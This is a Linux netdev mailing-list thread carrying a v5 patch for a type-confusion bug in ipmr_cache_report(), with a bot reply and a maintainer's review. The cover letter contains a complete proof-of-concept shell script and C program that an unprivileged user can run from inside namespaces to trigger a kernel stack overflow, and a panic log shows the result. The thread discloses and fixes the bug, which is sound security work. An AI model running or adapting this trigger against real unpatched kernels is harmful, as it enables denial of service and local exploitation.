Netdev List
 help / color / mirror / Atom feed
* [PATCH net v5 0/1] ipmr: only copy pktinfo to cache reports
@ 2026-10-17  5:39 Zhiling Zou
  2026-10-17  5:39 ` [PATCH net v5 1/1] " Zhiling Zou
  2026-10-17  5:44 ` [PATCH net v5 0/1] " netdev-bot+sinfo
  0 siblings, 2 replies; 4+ messages in thread
From: Zhiling Zou @ 2026-10-17  5:39 UTC (permalink / raw)
  To: netdev, idosch
  Cc: dsahern, davem, edumazet, pabeni, horms, leone4fernando, vega,
	zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/ipmr.c. The bug is reachable
by a non-root user via user and net namespaces with namespace-local
CAP_NET_ADMIN and CAP_NET_RAW.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

ipmr_get_route() can clone a synthetic RTM_GETROUTE skb for an unresolved
multicast route and store the requester portid in NETLINK_CB(skb).portid
before queuing it to the unresolved multicast route path.

ipmr_cache_report() builds a short IGMP report for the raw mroute socket.
To support IP_PKTINFO, the original code calls ipv4_pktinfo_prepare() on
the input packet and copies the entire skb control block to the report skb.
For synthetic route-query packets, this copies NETLINK_CB bytes into a skb
that the raw IPv4 receive path interprets as IPCB. The requester portid
overlaps IPCB(skb)->opt fields. With IP_RECVOPTS or IP_RETOPTS enabled on
the mroute socket, corrupted option offsets can make the receive path copy
beyond the short report packet or overflow the fixed stack option buffer
in ip_options_echo().

The WHOLEPKT/WRVIFWHOLE path has a related issue: skb_realloc_headroom()
inherits the original IPCB, then prepends a 20-byte header with ihl = 5.
Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts() copy bytes
from after that header as IP_RECVOPTS.

ipv4_pktinfo_prepare() also modifies the input skb control block. When
packet info is disabled on the mroute socket, it clears the pktinfo fields,
even though the input skb can continue through the data path.

Save and restore the original pkt->cb around ipv4_pktinfo_prepare(). Clear
the report skb control block and copy only the prepared pktinfo fields.
Doing this after both report branches preserves input skb metadata, keeps
IP_PKTINFO support, and clears inherited IP option state for
WHOLEPKT/WRVIFWHOLE reports.

Reproducer:

    make
    ./poc.sh namespace

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/sh
set -eu

mode="${1:-root}"

sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true
sysctl -w kernel.printk="7 4 1 7" >/dev/null 2>&1 || true

make clean
make

case "$mode" in
root)
	exec ./poc
	;;
namespace)
	exec unshare -Urn --map-root-user ./poc
	;;
*)
	echo "usage: $0 [root|namespace]" >&2
	exit 1
	;;
esac

------END poc.sh--------

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define DEV_NAME "jwq0"
#define DEV_ADDR "10.23.0.1/24"
#define SRC_ADDR "10.23.0.2"
#define DST_ADDR "239.1.2.3"
#define NETLINK_PORTID 0x000f0001U

static void die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
	exit(EXIT_FAILURE);
}

static void die_errno(const char *msg)
{
	die("%s: %s", msg, strerror(errno));
}

static void run_cmd(const char *fmt, ...)
{
	char cmd[512];
	va_list ap;
	int rc;

	va_start(ap, fmt);
	vsnprintf(cmd, sizeof(cmd), fmt, ap);
	va_end(ap);

	printf("[cmd] %s\n", cmd);
	fflush(stdout);
	rc = system(cmd);
	if (rc != 0)
		die("command failed (%d): %s", rc, cmd);
}

static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
		      const void *data, size_t alen)
{
	size_t len = RTA_LENGTH(alen);
	size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
	struct rtattr *rta;

	if (newlen > maxlen)
		die("netlink attribute overflow");

	rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = len;
	memcpy(RTA_DATA(rta), data, alen);
	nlh->nlmsg_len = newlen;
}

static int create_dummy_interface(void)
{
	unsigned int ifindex;

	run_cmd("ip link del %s 2>/dev/null || true", DEV_NAME);
	run_cmd("ip link set lo up");
	run_cmd("ip link add %s type dummy", DEV_NAME);
	run_cmd("ip addr add %s dev %s", DEV_ADDR, DEV_NAME);
	run_cmd("ip link set %s up", DEV_NAME);

	ifindex = if_nametoindex(DEV_NAME);
	if (!ifindex)
		die_errno("if_nametoindex(" DEV_NAME ")");

	printf("[*] %s ifindex=%u\n", DEV_NAME, ifindex);
	return (int)ifindex;
}

static int setup_mroute_socket(int ifindex)
{
	struct vifctl vif = {
		.vifc_vifi = 0,
		.vifc_flags = VIFF_USE_IFINDEX,
		.vifc_threshold = 1,
		.vifc_rate_limit = 0,
		.vifc_lcl_ifindex = ifindex,
	};
	int opt = 1;
	int fd;

	fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
	if (fd < 0)
		die_errno("socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)");

	if (setsockopt(fd, SOL_IP, IP_RETOPTS, &opt, sizeof(opt)) < 0)
		die_errno("setsockopt(IP_RETOPTS)");

	if (setsockopt(fd, IPPROTO_IP, MRT_INIT, &opt, sizeof(opt)) < 0)
		die_errno("setsockopt(MRT_INIT)");

	if (setsockopt(fd, IPPROTO_IP, MRT_ADD_VIF, &vif, sizeof(vif)) < 0)
		die_errno("setsockopt(MRT_ADD_VIF)");

	printf("[*] mroute socket ready on vif ifindex=%d\n", ifindex);
	return fd;
}

static int setup_netlink_socket(void)
{
	struct sockaddr_nl local = {
		.nl_family = AF_NETLINK,
		.nl_pid = NETLINK_PORTID,
	};
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die_errno("socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)");

	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
		die_errno("bind(AF_NETLINK)");

	printf("[*] netlink portid=0x%08x\n", NETLINK_PORTID);
	printf("[*] portid bytes: optlen=%u srr=%u rr=%u ts=%u\n",
	       NETLINK_PORTID & 0xff,
	       (NETLINK_PORTID >> 8) & 0xff,
	       (NETLINK_PORTID >> 16) & 0xff,
	       (NETLINK_PORTID >> 24) & 0xff);
	return fd;
}

static void trigger_getroute(int nl_fd, int ifindex)
{
	struct {
		struct nlmsghdr nlh;
		struct rtmsg rtm;
		char buf[256];
	} req;
	struct sockaddr_nl kernel = {
		.nl_family = AF_NETLINK,
	};
	struct iovec iov = {
		.iov_base = &req,
		.iov_len = sizeof(req),
	};
	struct msghdr msg = {
		.msg_name = &kernel,
		.msg_namelen = sizeof(kernel),
		.msg_iov = &iov,
		.msg_iovlen = 1,
	};
	struct in_addr src;
	struct in_addr dst;

	memset(&req, 0, sizeof(req));
	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
	req.nlh.nlmsg_type = RTM_GETROUTE;
	req.nlh.nlmsg_flags = NLM_F_REQUEST;
	req.nlh.nlmsg_seq = 1;
	req.rtm.rtm_family = AF_INET;
	req.rtm.rtm_dst_len = 32;
	req.rtm.rtm_src_len = 32;

	if (inet_pton(AF_INET, SRC_ADDR, &src) != 1)
		die("inet_pton failed for %s", SRC_ADDR);
	if (inet_pton(AF_INET, DST_ADDR, &dst) != 1)
		die("inet_pton failed for %s", DST_ADDR);

	addattr_l(&req.nlh, sizeof(req), RTA_SRC, &src, sizeof(src));
	addattr_l(&req.nlh, sizeof(req), RTA_DST, &dst, sizeof(dst));
	addattr_l(&req.nlh, sizeof(req), RTA_IIF, &ifindex, sizeof(ifindex));

	iov.iov_len = req.nlh.nlmsg_len;

	printf("[*] sending RTM_GETROUTE for %s -> %s on ifindex %d\n",
	       SRC_ADDR, DST_ADDR, ifindex);
	fflush(stdout);
	if (sendmsg(nl_fd, &msg, 0) < 0)
		die_errno("sendmsg(RTM_GETROUTE)");
}

static void receive_report(int mrt_fd)
{
	char payload[512];
	char control[4096];
	struct iovec iov = {
		.iov_base = payload,
		.iov_len = sizeof(payload),
	};
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = control,
		.msg_controllen = sizeof(control),
	};
	ssize_t n;

	printf("[*] waiting for mroute report; recvmsg should crash in IP_RETOPTS\n");
	fflush(stdout);
	n = recvmsg(mrt_fd, &msg, 0);
	if (n < 0)
		die_errno("recvmsg(mroute_sk)");

	printf("[!] recvmsg returned %zd bytes without crashing\n", n);
}

int main(void)
{
	int ifindex;
	int mrt_fd;
	int nl_fd;

	printf("[*] ipmr_cache_report type-confusion trigger\n");
	printf("[*] expected rr copy length comes from first byte of %s (%u)\n",
	       DST_ADDR, 239U);

	ifindex = create_dummy_interface();
	mrt_fd = setup_mroute_socket(ifindex);
	nl_fd = setup_netlink_socket();

	trigger_getroute(nl_fd, ifindex);
	receive_report(mrt_fd);

	close(nl_fd);
	close(mrt_fd);
	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  195.459259] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.460787] CPU: 2 UID: 1028 PID: 1307 Comm: poc Not tainted 6.12.95 #1
[  195.461640] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  195.463100] Call Trace:
[  195.463432]  <TASK>
[  195.463733]  panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:955 (discriminator 1))
[  195.464178]  ? ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.464769]  __stack_chk_fail (/home/roxy/linux-block-patch/build/../kernel/panic.c:1195 (discriminator 1))
[  195.465309]  ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1))
[  195.465878]  ? __skb_datagram_iter (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:2533 /home/roxy/linux-block-patch/build/../net/core/datagram.c:394)
[  195.466458]  ? __pfx_simple_copy_to_iter+0x10/0x10
[  195.467091]  ? ____sys_recvmsg+0x98/0x1d0
[  195.467633]  ? ___sys_recvmsg+0x91/0xe0
[  195.468154]  ? srso_alias_return_thunk+0x5/0xfbef5
[  195.468802]  ? __sys_recvmsg+0x83/0xe0
[  195.469305]  ? do_syscall_64+0x58/0x120
[  195.469824]  ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[  195.470498]  </TASK>
[  195.470983] Kernel Offset: disabled

-----END crash log-----

Zhiling Zou (1):
  ipmr: only copy pktinfo to cache reports

 net/ipv4/ipmr.c | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

-- 
2.55.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* [PATCH net v5 1/1] ipmr: only copy pktinfo to cache reports
  2026-10-17  5:39 [PATCH net v5 0/1] ipmr: only copy pktinfo to cache reports Zhiling Zou
@ 2026-10-17  5:39 ` Zhiling Zou
  2026-10-17 11:05   ` Eric Dumazet
  2026-10-17  5:44 ` [PATCH net v5 0/1] " netdev-bot+sinfo
  1 sibling, 1 reply; 4+ messages in thread
From: Zhiling Zou @ 2026-10-17  5:39 UTC (permalink / raw)
  To: netdev, idosch
  Cc: dsahern, davem, edumazet, pabeni, horms, leone4fernando, vega,
	zhilinz

ipmr_cache_report() prepares IP_PKTINFO on the original skb. The
ipv4_pktinfo_prepare() helper updates skb->cb and clears the pktinfo fields
when packet info is disabled. Since the skb can continue through the data
path, preserve and restore its original control block around the helper.

The original implementation copies the entire control block to the report
skb. For synthetic RTM_GETROUTE packets, NETLINK_CB data is interpreted as
IPCB by the raw IPv4 receive path. With IP_RECVOPTS or IP_RETOPTS enabled,
corrupted option offsets cause out-of-bounds reads or a stack buffer
overflow. WHOLEPKT and WRVIFWHOLE reports also inherit stale IP option
offsets when their header is prepended.

Clear the report skb control block and copy only the pktinfo fields
prepared by ipv4_pktinfo_prepare(). Doing this after both report branches
preserves the input skb metadata and clears inherited IP options.

Fixes: bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Link: https://lore.kernel.org/netdev/20260903113055.GA90787@shredder/
Suggested-by: Ido Schimmel <idosch@nvidia.com>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
changes in v5:
- Save and restore pkt->cb around ipv4_pktinfo_prepare().
- Prepare pktinfo after both report branches, clear skb->cb, and copy only
  the pktinfo fields; this also clears inherited IP options.
- Add the Fixes tag for the older WHOLEPKT/WRVIFWHOLE issue.
- v4 Link: https://lore.kernel.org/netdev/d8a36c317f6216d20f9cfd7e49f1888f62c35f7c.1788417128.git.zhilinz@nebusec.ai/

changes in v4:
- Clear IPCB(skb)->opt when prepending the 20-byte WHOLEPKT/WRVIFWHOLE
  header, so stale option offsets are not inherited from the original packet.
- v3 Link: https://lore.kernel.org/all/e93d0d2fa5725ddd06b20e3e4223ab68b93b48d1.1785719031.git.zhilinz@nebusec.ai/

changes in v3:
- Go back to the v1 scope and stop changing the common path.
- Remove memset(), since alloc_skb() already clears the control block.
- v2 Link: https://lore.kernel.org/all/1b809975e5bd9c0a1dd6fdd1db534e701fe5a4b6.1785379072.git.zhilinz@nebusec.ai/

changes in v2:
- Reword the commit message to say the entire 48-byte skb control block
  is copied.
- Mention that IP_RECVOPTS/IP_RETOPTS on the mrouted socket was unintended.
- Move the pktinfo copy to the common path to cover both report branches.
- v1 Link: https://lore.kernel.org/all/5bc7cd71c2d671b305f25497d88ae8a0aa663c08.1784894076.git.zhilinz@nebusec.ai/

 net/ipv4/ipmr.c | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
index b9c544d48c45..ef0d73e45b70 100644
--- a/net/ipv4/ipmr.c
+++ b/net/ipv4/ipmr.c
@@ -1057,6 +1057,7 @@ static void ipmr_cache_resolve(struct net *net, struct mr_table *mrt,
 static int ipmr_cache_report(const struct mr_table *mrt,
 			     struct sk_buff *pkt, vifi_t vifi, int assert)
 {
+	unsigned char pkt_cb[sizeof(pkt->cb)];
 	const int ihl = ip_hdrlen(pkt);
 	struct sock *mroute_sk;
 	struct igmphdr *igmp;
@@ -1112,8 +1113,6 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 		msg = (struct igmpmsg *)skb_network_header(skb);
 		msg->im_vif = vifi;
 		msg->im_vif_hi = vifi >> 8;
-		ipv4_pktinfo_prepare(mroute_sk, pkt, false);
-		memcpy(skb->cb, pkt->cb, sizeof(skb->cb));
 		/* Add our header.
 		 * Note that code, csum and group fields are cleared.
 		 */
@@ -1124,6 +1123,12 @@ static int ipmr_cache_report(const struct mr_table *mrt,
 		skb->transport_header = skb->network_header;
 	}
 
+	memcpy(pkt_cb, pkt->cb, sizeof(pkt_cb));
+	ipv4_pktinfo_prepare(mroute_sk, pkt, false);
+	memset(skb->cb, 0, sizeof(skb->cb));
+	*PKTINFO_SKB_CB(skb) = *PKTINFO_SKB_CB(pkt);
+	memcpy(pkt->cb, pkt_cb, sizeof(pkt_cb));
+
 	igmpmsg_netlink_event(mrt, skb);
 
 	/* Deliver to mrouted */
-- 
2.55.0


^ permalink raw reply related	[flat|nested] 4+ messages in thread

* Re: [PATCH net v5 0/1] ipmr: only copy pktinfo to cache reports
  2026-10-17  5:39 [PATCH net v5 0/1] ipmr: only copy pktinfo to cache reports Zhiling Zou
  2026-10-17  5:39 ` [PATCH net v5 1/1] " Zhiling Zou
@ 2026-10-17  5:44 ` netdev-bot+sinfo
  1 sibling, 0 replies; 4+ messages in thread
From: netdev-bot+sinfo @ 2026-10-17  5:44 UTC (permalink / raw)
  To: Zhiling Zou
  Cc: netdev, idosch, dsahern, davem, edumazet, pabeni, horms,
	leone4fernando, vega

Hi!

This is an automated message. This series looks like a fix, but its
commit messages seem to be missing some information:

 - How the issue was discovered, e.g. hit in production, hit during
   development, syzbot report, manual code inspection, LLM or static
   analysis tool scan.

Please do not repost the series just to address the above. Instead,
reply to this email with the missing information, so that reviewers
can take it into account. If the series needs another revision for
other reasons, please include the information in the commit messages
then.

The evaluation is done by an LLM so it may be wrong, if you think
that is the case please reply and explain.

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH net v5 1/1] ipmr: only copy pktinfo to cache reports
  2026-10-17  5:39 ` [PATCH net v5 1/1] " Zhiling Zou
@ 2026-10-17 11:05   ` Eric Dumazet
  0 siblings, 0 replies; 4+ messages in thread
From: Eric Dumazet @ 2026-10-17 11:05 UTC (permalink / raw)
  To: Zhiling Zou
  Cc: netdev, idosch, dsahern, davem, pabeni, horms, leone4fernando,
	vega

Le sam. 17 oct. 2026 à 07:40, Zhiling Zou <zhilinz@nebusec.ai> a écrit :
>
> ipmr_cache_report() prepares IP_PKTINFO on the original skb. The
> ipv4_pktinfo_prepare() helper updates skb->cb and clears the pktinfo fields
> when packet info is disabled. Since the skb can continue through the data
> path, preserve and restore its original control block around the helper.
>
> The original implementation copies the entire control block to the report
> skb. For synthetic RTM_GETROUTE packets, NETLINK_CB data is interpreted as
> IPCB by the raw IPv4 receive path. With IP_RECVOPTS or IP_RETOPTS enabled,
> corrupted option offsets cause out-of-bounds reads or a stack buffer
> overflow. WHOLEPKT and WRVIFWHOLE reports also inherit stale IP option
> offsets when their header is prepended.
>
> Clear the report skb control block and copy only the pktinfo fields
> prepared by ipv4_pktinfo_prepare(). Doing this after both report branches
> preserves the input skb metadata and clears inherited IP options.
>
> Fixes: bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
> Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
> Cc: stable@vger.kernel.org
> Reported-by: Vega <vega@nebusec.ai>
> Link: https://lore.kernel.org/netdev/20260903113055.GA90787@shredder/
> Suggested-by: Ido Schimmel <idosch@nvidia.com>
> Assisted-by: LLM
> Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
> ---
> changes in v5:
> - Save and restore pkt->cb around ipv4_pktinfo_prepare().
> - Prepare pktinfo after both report branches, clear skb->cb, and copy only
>   the pktinfo fields; this also clears inherited IP options.
> - Add the Fixes tag for the older WHOLEPKT/WRVIFWHOLE issue.
> - v4 Link: https://lore.kernel.org/netdev/d8a36c317f6216d20f9cfd7e49f1888f62c35f7c.1788417128.git.zhilinz@nebusec.ai/
>
> changes in v4:
> - Clear IPCB(skb)->opt when prepending the 20-byte WHOLEPKT/WRVIFWHOLE
>   header, so stale option offsets are not inherited from the original packet.
> - v3 Link: https://lore.kernel.org/all/e93d0d2fa5725ddd06b20e3e4223ab68b93b48d1.1785719031.git.zhilinz@nebusec.ai/
>
> changes in v3:
> - Go back to the v1 scope and stop changing the common path.
> - Remove memset(), since alloc_skb() already clears the control block.
> - v2 Link: https://lore.kernel.org/all/1b809975e5bd9c0a1dd6fdd1db534e701fe5a4b6.1785379072.git.zhilinz@nebusec.ai/
>
> changes in v2:
> - Reword the commit message to say the entire 48-byte skb control block
>   is copied.
> - Mention that IP_RECVOPTS/IP_RETOPTS on the mrouted socket was unintended.
> - Move the pktinfo copy to the common path to cover both report branches.
> - v1 Link: https://lore.kernel.org/all/5bc7cd71c2d671b305f25497d88ae8a0aa663c08.1784894076.git.zhilinz@nebusec.ai/
>
>  net/ipv4/ipmr.c | 9 +++++++--
>  1 file changed, 7 insertions(+), 2 deletions(-)
>
> diff --git a/net/ipv4/ipmr.c b/net/ipv4/ipmr.c
> index b9c544d48c45..ef0d73e45b70 100644
> --- a/net/ipv4/ipmr.c
> +++ b/net/ipv4/ipmr.c
> @@ -1057,6 +1057,7 @@ static void ipmr_cache_resolve(struct net *net, struct mr_table *mrt,
>  static int ipmr_cache_report(const struct mr_table *mrt,
>                              struct sk_buff *pkt, vifi_t vifi, int assert)
>  {
> +       unsigned char pkt_cb[sizeof(pkt->cb)];
>         const int ihl = ip_hdrlen(pkt);
>         struct sock *mroute_sk;
>         struct igmphdr *igmp;
> @@ -1112,8 +1113,6 @@ static int ipmr_cache_report(const struct mr_table *mrt,
>                 msg = (struct igmpmsg *)skb_network_header(skb);
>                 msg->im_vif = vifi;
>                 msg->im_vif_hi = vifi >> 8;
> -               ipv4_pktinfo_prepare(mroute_sk, pkt, false);
> -               memcpy(skb->cb, pkt->cb, sizeof(skb->cb));
>                 /* Add our header.
>                  * Note that code, csum and group fields are cleared.
>                  */
> @@ -1124,6 +1123,12 @@ static int ipmr_cache_report(const struct mr_table *mrt,
>                 skb->transport_header = skb->network_header;
>         }
>
> +       memcpy(pkt_cb, pkt->cb, sizeof(pkt_cb));
> +       ipv4_pktinfo_prepare(mroute_sk, pkt, false);
> +       memset(skb->cb, 0, sizeof(skb->cb));
> +       *PKTINFO_SKB_CB(skb) = *PKTINFO_SKB_CB(pkt);
> +       memcpy(pkt->cb, pkt_cb, sizeof(pkt_cb));
> +

One remaining issue: for the synthetic skbs built by ipmr_get_route(),
pkt->cb holds NETLINK_CB, not IPCB. ipv4_pktinfo_prepare() still reads
it as IPCB: the iif comes from creds.pid, and IPCB(pkt)->flags
(l3mdev bit) from netlink_skb_parms. Whatever ends up in the
IP_PKTINFO cmsg for these reports is meaningless.

These skbs are already identified by ip_hdr(skb)->version == 0, as
done in ipmr_cache_resolve() and ipmr_destroy_unres(), and they only
reach this point through the IGMPMSG_NOCACHE path.

Could you skip pktinfo preparation for them in v6, and leave the
report control block zeroed? Something like:

memset(skb->cb, 0, sizeof(skb->cb));

/* Route queries from ipmr_get_route() carry NETLINK_CB, not IPCB. */
if (ip_hdr(pkt)->version) {
        memcpy(pkt_cb, pkt->cb, sizeof(pkt_cb));
        ipv4_pktinfo_prepare(mroute_sk, pkt, false);
        *PKTINFO_SKB_CB(skb) = *PKTINFO_SKB_CB(pkt);
        memcpy(pkt->cb, pkt_cb, sizeof(pkt_cb));
}

^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-10-17 11:06 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-17  5:39 [PATCH net v5 0/1] ipmr: only copy pktinfo to cache reports Zhiling Zou
2026-10-17  5:39 ` [PATCH net v5 1/1] " Zhiling Zou
2026-10-17 11:05   ` Eric Dumazet
2026-10-17  5:44 ` [PATCH net v5 0/1] " netdev-bot+sinfo

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox